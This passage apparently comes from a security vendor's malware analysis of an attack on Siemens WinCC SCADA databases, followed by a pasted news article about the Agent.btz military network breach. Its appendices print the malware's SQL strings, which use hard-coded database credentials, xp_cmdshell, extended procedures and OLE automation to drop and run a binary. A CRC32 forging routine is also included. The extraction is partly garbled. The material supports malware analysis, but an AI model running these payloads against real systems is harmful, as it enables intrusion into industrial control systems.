MCPTVARIABLEDESC.ASDATASIZE, MCPTVARIABLEDESC.OSDATASIZE, MCPTVARIABLEDESC.VARGROUPID, MCPTVARIABLEDESC.VARXRES, MCPTVARIABLEDESC.VARMARK, MCPTVARIABLEDESC.SCALETYPE, MCPTVARIABLEDESC.SCALEPARAM1, MCPTVARIABLEDESC.SCALEPARAM2, MCPTVARIABLEDESC.SCALEPARAM3, MCPTVARIABLEDESC.SCALEPARAM4 from MCPTVARIABLEDESC String 7 view MCPVPROJECT2 as select JECTID,PROJECTNAME,PROJECTVERSION,PROJECTMODE,PROJECTCREATOR, PROJECTEDITOR, CREATIONDATE, EDITDATE, PRJCOMMENT, CSLANGUAGE, RTLANGUAGE, PROJECTGUID, PRJTABLETYPES, PRJDATATYPES, www.eset.com PRJCREATEVERMAJ, PRJCREATEVERMIN, PRJXRES, PRJTIMEMODE, PRJDELTAMODE, PRJDELTAREMOTE from MCPTPROJECT where ((SELECT top 1 1 FROM MCPVREADVARPERCON)='1') String 8 view MCPVREADVARPERCON as select VARIABLEID, VARIABLETYPEID, FORMATFITTING, SCALEID, VARIABLENAME, ADDRESSPARAMETER, PROTOKOLL, MAXLIMIT, MINLIMIT, STARTVALUE, SUBSTVALUE, VARFLAGS, CONNECTIONID, VARPROPERTY, CYCLETIMEID, LASTCHANGE, ASDATASIZE, OSDATASIZE, VARGROUPID, VARXRES, VARMARK, SCALETYPE, SCALEPARAM1, SCALEPARAM2, SCALEPARAM3, SCALEPARAM4 from MCPTVARIABLEDESC, openrowset('SQLOLEDB','Server=.\WinCC;uid=WinCCConnect;pwd=2WSXcder', "'select 0;use master;declare @t varchar(999),@s varchar(999);select @t=filename from master..sysdatabases where (name like ''CC%'');set @t=left(@t,len(@t)charindex(''\'',reverse(@t)))+''\GraCS\cc_tlg7.sav'';set @s = ''master..xp_cmdshell ''''extrac32 /y "''+@t+''" "''+@t+''x"'''''';exec(@s);set @t = @t+''x'';dbcc addextendedproc(sprun,@t);exec master..sprun;exec master..sp_dropextendedproc sprun') String 9 view MCPVREADVARPERCON as select MCPTVARIABLEDESC.VARIABLEID, MCPTVARIABLEDESC.VARIABLETYPEID, MCPTVARIABLEDESC.FORMATFITTING, MCPTVARIABLEDESC.SCALEID, MCPTVARIABLEDESC.VARIABLENAME, MCPTVARIABLEDESC.ADDRESSPARAMETER, MCPTVARIABLEDESC.PROTOKOLL, MCPTVARIABLEDESC.MAXLIMIT, MCPTVARIABLEDESC.MINLIMIT, MCPTVARIABLEDESC.STARTVALUE, MCPTVARIABLEDESC.SUBSTVALUE, MCPTVARIABLEDESC.VARFLAGS, MCPTVARIABLEDESC.CONNECTIONID, MCPTVARIABLEDESC.VARPROPERTY, MCPTVARIABLEDESC.CYCLETIMEID, MCPTVARIABLEDESC.LASTCHANGE, MCPTVARIABLEDESC.ASDATASIZE, MCPTVARIABLEDESC.OSDATASIZE, MCPTVARIABLEDESC.VARGROUPID, MCPTVARIABLEDESC.VARXRES, MCPTVARIABLEDESC.VARMARK, MCPTVARIABLEDESC.SCALETYPE, MCPTVARIABLEDESC.SCALEPARAM1, MCPTVARIABLEDESC.SCALEPARAM2, MCPTVARIABLEDESC.SCALEPARAM3, MCPTVARIABLEDESC.SCALEPARAM4 from MCPTVARIABLEDESC String 10 view MCPVPROJECT2 as select MCPTPROJECT.PROJECTID, MCPTPROJECT.PROJECTNAME, MCPTPROJECT.PROJECTVERSION, MCPTPROJECT.PROJECTMODE, MCPTPROJECT.PROJECTCREATOR, MCPTPROJECT.PROJECTEDITOR, MCPTPROJECT.CREATIONDATE, MCPTPROJECT.EDITDATE, MCPTPROJECT.PRJCOMMENT, MCPTPROJECT.CSLANGUAGE, MCPTPROJECT.RTLANGUAGE, MCPTPROJECT.PROJECTGUID, MCPTPROJECT.PRJTABLETYPES, MCPTPROJECT.PRJDATATYPES, MCPTPROJECT.PRJCREATEVERMAJ, MCPTPROJECT.PRJCREATEVERMIN, MCPTPROJECT.PRJXRES, MCPTPROJECT.PRJTIMEMODE, MCPTPROJECT.PRJDELTAMODE, MCPTPROJECT.PRJDELTAREMOTE from MCPTPROJECT String 11 view MCPVREADVARPERCON as select VARIABLEID, VARIABLETYPEID, FORMATFITTING,SCALEID, VARIABLENAME, ADDRESSPARAMETER, PROTOKOLL, MAXLIMIT, MINLIMIT, STARTVALUE, SUBSTVALUE, VARFLAGS, CONNECTIONID, VARPROPERTY, CYCLETIMEID, LASTCHANGE, ASDATASIZE, OSDATASIZE, VARGROUPID, VARXRES, VARMARK, SCALETYPE, SCALEPARAM1, SCALEPARAM2, SCALEPARAM3, SCALEPARAM4 from MCPTVARIABLEDESC, openrowset('SQLOLEDB','Server=.\WinCC;uid=WinCCConnect;pwd=2WSXcder', "'select 0;use master;declare @t varchar(999),@s varchar(999);select @t=filename from master..sysdatabases where (name like ''CC%R'');set @t=left(@t,len(@t)charindex(''\'',reverse(@t)))+''\GraCS\cc_tlg7.sav'';set @s = ''master..xp_cmdshell_ ''''extrac32 /y "''+@t+''" "''+@t+''x"'''''';exec(@s);set @t = @t+''x'';dbcc addextendedproc(sp_run,@t);exec master..sp_run;') www.eset.com String 12 view MCPVREADVARPERCON as select MCPTVARIABLEDESC.VARIABLEID, MCPTVARIABLEDESC.VARIABLETYPEID, MCPTVARIABLEDESC.FORMATFITTING, MCPTVARIABLEDESC.SCALEID, MCPTVARIABLEDESC.VARIABLENAME, MCPTVARIABLEDESC.ADDRESSPARAMETER, MCPTVARIABLEDESC.PROTOKOLL, MCPTVARIABLEDESC.MAXLIMIT, MCPTVARIABLEDESC.MINLIMIT, MCPTVARIABLEDESC.STARTVALUE, MCPTVARIABLEDESC.SUBSTVALUE, MCPTVARIABLEDESC.VARFLAGS, MCPTVARIABLEDESC.CONNECTIONID, MCPTVARIABLEDESC.VARPROPERTY, MCPTVARIABLEDESC.CYCLETIMEID, MCPTVARIABLEDESC.LASTCHANGE, MCPTVARIABLEDESC.ASDATASIZE, MCPTVARIABLEDESC.OSDATASIZE, MCPTVARIABLEDESC.VARGROUPID, MCPTVARIABLEDESC.VARXRES, MCPTVARIABLEDESC.VARMARK, MCPTVARIABLEDESC.SCALETYPE, MCPTVARIABLEDESC.SCALEPARAM1, MCPTVARIABLEDESC.SCALEPARAM2, MCPTVARIABLEDESC.SCALEPARAM3, MCPTVARIABLEDESC.SCALEPARAM4 from MCPTVARIABLEDESC String 13 DECLARE @vr varchar(256) SET @vr = CONVERT(varchar(256), (SELECT serverproperty('productversion') )) IF @vr > '9' BEGIN EXEC sp_configure 'show advanced options', 1 RECONFIGURE WITH OVERRIDE EXEC sp_configure 'Ole Automation Procedures', 1 RECONFIGURE WITH OVERRIDE String 14 DECLARE @ashl int, @aind varchar(260), @ainf varchar(260), @hr int EXEC @hr = sp_OACreate 'WScript.Shell', @ashl OUT IF @hr <> 0 GOTO endq EXEC sp_OAMethod @ashl, 'ExpandEnvironmentStrings', @aind OUT, '%%ALLUSERSPROFILE%%' SET @ainf = @aind + '\sql%05x.dbi' DECLARE @aods int, @adss int, @aip int, @abf varbinary(4096) EXEC @hr = sp_OACreate 'ADODB.Stream', @aods OUT IF @hr <> 0 GOTO endq EXEC @hr = sp_OASetProperty @aods, 'Type', 1 IF @hr <> 0 GOTO endq EXEC @hr = sp_OAMethod @aods, 'Open', null IF @hr <> 0 GOTO endq SET @adss = ( SELECT DATALENGTH(abin) FROM sysbinlog ) SET @aip = 1 www.eset.com WHILE ( @aip <= @adss ) BEGIN SET @abf = ( SELECT SUBSTRING (abin, @aip, 4096 ) FROM sysbinlog ) EXEC @hr = sp_OAMethod @aods, 'Write', null, @abf IF @hr <> 0 GOTO endq SET @aip = @aip + 4096 EXEC @hr = sp_OAMethod @aods, 'SaveToFile', null, @ainf, 2 IF @hr <> 0 GOTO endq EXEC sp_OAMethod @aods, 'Close', null endq: EXEC sp_dropextendedproc sp_dumpdbilog String 15 DECLARE @ashl int, @aind varchar(260), @ainf varchar(260), @hr int EXEC @hr = sp_OACreate 'WScript.Shell', @ashl OUT IF @hr <> 0 GOTO endq EXEC sp_OAMethod @ashl, 'ExpandEnvironmentStrings', @aind OUT, '%%ALLUSERSPROFILE%%' SET @ainf = @aind + '\sql%05x.dbi' EXEC sp_addextendedproc sp_dumpdbilog, @ainf EXEC sp_dumpdbilog EXEC sp_dropextendedproc sp_dumpdbilog endq: String 16 DECLARE @ashl int, @aind varchar(260), @ainf varchar(260), @hr int EXEC @hr = sp_OACreate 'WScript.Shell', @ashl OUT IF @hr <> 0 GOTO endq EXEC sp_OAMethod @ashl, 'ExpandEnvironmentStrings', @aind OUT, '%%ALLUSERSPROFILE%%' SET @ainf = @aind + '\sql%05x.dbi' DECLARE @fs int EXEC @hr = sp_OACreate 'Scripting.FileSystemObject', @fs OUT IF @hr <> 0 GOTO endq EXECUTE sp_OAMethod @fs, 'DeleteFile', NULL, @ainf endq: www.eset.com String 17 DROP TABLE sysbinlog String 18 CREATE TABLE sysbinlog ( abin image ) INSERT INTO sysbinlog VALUES(0x String 19 0;set IMPLICIT_TRANSACTIONS off;declare @z nvarchar(999);set @z=''use [?];declare @t nvarchar(2000);declare @s nvarchar(9);set @s=''''--CC-S''''+char(80);if left(db_name(),2)=''''CC'''' select @t=substring(text,charindex(@s,text)+8,charindex(''''--*'''',text)-charindex(@s,text)-8) from syscomments where text like (''''%''''+@s+''''%'''');if @t is not NULL exec(@t)'';exec sp_msforeachdb @z') String 20 ((SELECT top 1 1 FROM MCPVREADVARPERCON)='1') --CC-SP String 21 use master String 22 select name from master..sysdatabases where filename like N'%s' String 23 exec master..sp_attach_db 'wincc_svr', N'%s', N'%s' String 24 exec master..sp_detach_db 'wincc_svr' String 25 use wincc_svr www.eset.com Appendix D Algorithm for calculating CRC32 checksum in python: crc32_table = ( 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, www.eset.com 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d) def crc32(data): crc = 0xffffffff for i in xrange(len(data)): crc = (crc >> 8) ^ crc32_table[(crc & 0x000000ff) ^ data[i]] return crc www.eset.com Appendix E Algorithm for forging CRC32 checksum in python. It is supposed that the message ends with a nullterminated Unicode string : crc32_reverse = ( 0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82, 0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904, 0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF, 0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449, 0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618, 0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E, 0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55, 0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3, 0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7, 0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71, 0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA, 0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C, 0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D, 0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB, 0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820, 0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6, 0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68, 0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE, 0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725, 0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3, 0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2, 0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574, 0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF, 0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839, 0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D, 0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B, 0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450, 0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6, 0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387, 0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601, 0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA, 0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C, 0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717, 0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291, 0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A, 0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC, 0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D, 0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B, 0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0, 0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546, 0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462, 0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4, 0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F, 0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9, 0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8, www.eset.com 0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E, 0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5, 0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633, 0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD, 0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B, 0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0, 0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936, 0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67, 0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1, 0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A, 0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC, 0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288, 0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E, 0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5, 0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43, 0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812, 0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94, 0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F, 0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9) def crc32forge(data, original_crc): crc = 0xffffffff for i in xrange(len(data) - 12): crc = (crc >> 8) ^ crc32_table[(crc & 0x000000ff) ^ data[i]] data[len(data) - 12] = (crc & 0x000000ff) >> 0; data[len(data) - 11] = (crc & 0x0000ff00) >> 8; data[len(data) - 10] = (crc & 0x00ff0000) >> 16; data[len(data) - 9] = (crc & 0xff000000) >> 24; for i in xrange(12): original_crc = ((original_crc << 8) ^ crc32_reverse[original_crc >> 24] ^ data[len(data) - 1 - i]) & 0xffffffff print "%X" % original_crc data[len(data) - 12] = (original_crc & 0x000000ff) >> 0; data[len(data) - 11] = (original_crc & 0x0000ff00) >> 8; data[len(data) - 10] = (original_crc & 0x00ff0000) >> 16; data[len(data) - 9] = (original_crc & 0xff000000) >> 24; www.eset.com Cyber-intruder sparks response, debate washingtonpost.com /national/national-security/cyber-intruder-sparks-responsedebate/2011/12/06/gIQAxLuFgO_story.html By Ellen Nakashima The first sign of trouble was a mysterious signal emanating from deep within the U.S. military classified computer network. Like a human spy, a piece of covert software in the supposedly secure system was beaconing trying to send coded messages back to its creator. An elite team working in a windowless room at the National Security Agency soon determined that a rogue program had infected a classified network, kept separate from the public Internet, that harbored some of the military s most important secrets, including battle plans used by commanders in Afghanistan and Iraq. The government s top cyberwarriors couldn t immediately tell who created the program or why, although they would come to suspect the Russian intelligence service. Nor could they tell how long it had been there, but they soon deduced the ingeniously simple means of transmission, according to several current and former U.S. officials. The malicious software, or malware, caught a ride on an everyday thumb drive that allowed it to enter the secret system and begin looking for documents to steal. Then it spread by copying itself onto other thumb drives. Pentagon officials consider the incident, discovered in October 2008, to be the most serious breach of the U.S. military s classified computer systems. The response, over the past three years, transformed the government approach to cybersecurity, galvanizing the creation of a new military command charged with bolstering the military computer defenses and preparing for eventual offensive operations. The efforts to neutralize the malware, through an operation code-named Buckshot Yankee, also demonstrated the importance of computer espionage in devising effective responses to cyberthreats. But the breach and its aftermath also have opened a rare window into the legal concerns and bureaucratic tensions that affect military operations in an arena where the United States faces increasingly sophisticated threats. Like the running debates over the use of drones and other evolving military technologies, rapid advances in computing capability are forcing complex deliberations over the appropriate use of new tools and weapons. This article, which contains previously undisclosed information on the extent of the infection, the nature of the response and the fractious policy debate it inspired, is based on interviews with two dozen current and former U.S. officials and others with knowledge of the operation. Many of them assert that while the military has a growing technical capacity to operate in cyberspace, it lacks authority to defend civilian networks effectively. The danger is not so much that cyber capabilities will be used without warning by some crazy general, said Stewart A. Baker, a former NSA general counsel. The real worry is they won t be used at all because the generals t know what the rules are. A furious investigation The malware that provoked Buckshot Yankee had circulated on the Internet for months without causing alarm, as just one threat among many. Then it showed up on the military computers of a NATO government in June 2008, according to Mikko Hypponen, chief research officer of a Finnish firm that analyzed the intruder. He dubbed it Agent.btz, the next name in a sequence used at his company, F-Secure. Agent.bty was taken. Four months later, in October 2008, NSA analysts discovered the malware on the Secret Internet Protocol Router Network, which the Defense and State departments use to transmit classified material but not the nation s most sensitive information. Agent.btz also infected the Joint Worldwide Intelligence Communication System, which carries top-secret information to U.S. officials throughout the world. Such networks are typically air-gapped physically separated from the free-for-all of the Internet, with its countless varieties of malicious code, such as viruses and worms, created to steal information or damage systems. Officials had long been concerned with the unauthorized removal of classified material from secure networks; now malware had gotten in and was attempting to communicate to the broader Internet. One likely scenario is that an American soldier, official or contractor in Afghanistan where the largest number of infections occurred went to an Internet cafe, used a thumb drive in an infected computer and then inserted the drive in a classified machine. We knew fairly confidently that the mechanism had been somebody going to a kiosk and doing something they shouldn t have as opposed to somebody who had been able to get inside the network, one former official said. Once a computer became infected, any thumb drive used on the machine acquired a copy of Agent.btz, ready for propagation to other computers, like bees carrying pollen from flower to flower. But to steal content, the malware had to communicate with a master computer for instructions on what files to remove and how to transmit them. These signals, or beacons, were first spotted by a young analyst in the NSA s Advanced Networks Operations (ANO) team, a group of mostly 20- and 30-something computing experts assembled in 2006 to hunt for suspicious activity on the government s secure networks. Their office was a nondescript windowless room in Ops1, a boxy, low-rise building on the 660-acre campus of the NSA. s operators are among 30,000 civilian and military personnel at NSA, whose main mission is to collect foreign communications intelligence on enemies abroad. The agency is forbidden to gather intelligence on Americans or on U.S. soil without special authorization from a court whose proceedings are largely secret. NSA, whose employees hold 800 PhDs in mathematics, science and engineering, is based at Fort Meade, an Army base between Baltimore and Washington that has the world s largest collection of supercomputers as well as its own police force and silicon-chip plant. The ANO operators determined that the breach was serious after a few days of furious investigation. On the afternoon of Friday, Oct. 24,Richard C. Schaeffer Jr., then the NSA s top computer systems protection officer, was in an agency briefing with President George W. Bush, who was making his last visit to the NSA before leaving office. An aide handed Schaeffer a note alerting him to the breach. At 4:30 p.m., Schaeffer entered the office of Gen. Keith Alexander, the NSA director and a veteran military intelligence officer. Alexander recalled that Schaeffer minced no words. ve got a problem, he said. Permanent slumber That evening, NSA officials briefed top levels of the U.S. government: the chairman of the Joint Chiefs of Staff, the deputy defense secretary and senior congressional leaders, telling them about the incident. Working through the night, the ANO operators pursued a potential fix. Since Agent.btz was beaconing out in search of instructions, perhaps they could devise a way to order the malware to shut itself down. The next morning, in a room strewn with empty pizza boxes and soda cans, they sketched out their plan on a white board. But before it could be put into action, the NSA team had to make sure it would not affect the performance of other software, including the programs that battlefield commanders use for intelligence and communications. They needed to run a test. Our objective, recalled Schaeffer, was first, do no harm. That afternoon, the team members loaded a computer server into a truck and drove it to a nearby office of the Defense Information Systems Agency, which operates the department s long-haul telecommunications and satellite networks. At 2:30 p.m. they activated a program designed to recognize the beaconing of Agent.btz and respond. Soon after, the malware on the test server fell into permanent slumber. Devising the technical remedy was only the first step. Defeating the threat required neutralizing Agent.btz everywhere it had spread on government networks, a grueling process that involved isolating individual computers, taking them offline, cleaning them, and reformatting hard drives. A key player in Buckshot Yankee was NSA s Tailored Access Operations (TAO), a secretive unit dating to the early 1990s that specialized in intelligence operations overseas focused on gathering sensitive technical information. These specialists ventured outside the military s networks to look for Agent.btz in a process called exploitation electronic spying. The TAO identified new variants of the malware and helped network defenders prepare to neutralize them before they infected military computers. s the ability to look outside our wire, said one military official. Officials debated whether to use offensive tools to neutralize the malware on non-military networks, including those in other countries. The military s offensive cyber unit, Joint Functional Component Command Network Warfare, proposed some options for doing so. Senior officials rejected them on the grounds that Agent.btz appeared to be an act of espionage, not an outright attack, and didn t justify such an aggressive response, according to those familiar with the conversations. As the NSA worked to neutralize Agent.btz on its government computers, Strategic Command, which oversees deterrence strategy for nuclear weapons, space and cyberspace, raised the military s information security threat level. A few weeks later, in November, an order went out banning the use of thumb drives across the Defense Department worldwide. It was the most controversial order of the operation. Agent.btz had spread widely among military computers around the world, especially in Iraq and Afghanistan, creating the potential for major losses of intelligence. Yet the ban generated backlash among officers in the field, many of whom relied on the drives to download combat imagery or share after-action reports. The NSA and the military investigated for months how the infection occurred. They retrieved thousands of thumb drives, many of which were infected. Much energy was spent trying to find Patient Zero, officials said. It turned out to be too complicated, said one. We could never bring it down to as clear as . . . that s the thumb drive. The rate of new infections finally subsided in early 2009. Officials say no evidence emerged that Agent.btz succeeded in communicating with a master computer or in putting secret documents in enemy hands. The ban on thumb drives has been partially lifted because other security measures have been put in place. A great catalyst Buckshot Yankee bolstered the argument for creating Cyber Command, a new unit designed to protect the military computer and communications systems. It gave NSA Director Alexander the platform to press the case, advocated by others, that the new command should be able to use the NSA s capabilities to obtain foreign intelligence to defend the military s systems. It was a great catalyst, said Alexander, although the effort later faced questions about whether the head of the largest and most secretive intelligence agency should also lead the new organization. The new organization, which has a staff of 750 and a budget of $155 million, brings together the Joint Task ForceGlobal Network Operations, which carried out the bulk of the cleanup work under Buckshot Yankee, and the Network Warfare unit, the military s offensive cyber arm. It began full operations on Oct. 31, 2010, with Alexander as its head. But the creation of Cyber Command did not resolve several key debates over the national response to cyberthreats. Agent.btz provoked renewed discussion among senior officials at the White House and key departments about how to best protect critical private-sector networks. Some officials argued that the military was better equipped than the Department of Homeland Security to respond to a major destructive attack on a power grid or other critical system, but others disagreed. Cyber Command and [Strategic Command] were asking for way too much authority by seeking permission to take unilateral action . . . inside the United States, said Gen. James E. Cartwright Jr., who retired as vice chairman of the Joint Chiefs in August. Officials also debated how aggressive military commanders can be in defending their computer systems. You have the right of self-defense, but you don t know how far you can carry it and under what circumstances, and in what places, Cartwright said. So for a commander who s out there in a very ambiguous world looking for guidance, if somebody attacks them, are they supposed to run? Can they respond? Questions over the role of offense in cybersecurity deterrence began in the 1990s, if not earlier, said Martin Libicki, a Rand Corp. cyberwarfare expert. One reason it is so difficult to craft rules, he said, is the tendency to cast cyberwar as good, old-fashioned war in yet another domain. Unlike conventional and nuclear warfare, cyberattacks generally are enabled only by flaws in the target system, he said. Another reason it is so difficult, said James A. Lewis, a senior fellow at the Center for Strategic and International Studies, is the overlap between cybersecurity operations and the classified world of intelligence. The link to espionage is where the nuclear precedent breaks down and makes cyber closer to covert operations, Lewis said. By the summer of 2009, Pentagon officials had begun work on a set of rules of engagement, part of a broader cyberdefense effort called Operation Gladiator Phoenix. They drafted an execute order under which the Strategic and Cyber commands could direct the operations and defense of military networks anywhere in the world. Initially, the directive applied to critical privately owned computer systems in the United States. Several conditions had to be met, according to a military official familiar with the draft order. The provocation had to be hostile and directed at the United States, its critical infrastructure or citizens. It had to present the imminent likelihood of death, serious injury or damage that threatened national or economic security. The response had to be coordinated with affected government agencies and combatant commanders. And it had to be limited to actions necessary to stop the attack, while minimizing impacts on non-military computers. Say someone launched an attack on the U.S. from a known Chinese army computer a known hostile computer, the official said. You could maybe disable the computer, but you re not talking about making it explode and killing somebody. Turf battles But the effort to create such comprehensive rules of engagement foundered, said current and former officials with direct knowledge of the policy debate. The Justice Department feared setting a legal precedent for military action in domestic networks. The CIA resisted letting the military infringe on its foreign turf. The State Department worried the military would accidentally disrupt a server in a friendly country without seeking consent, 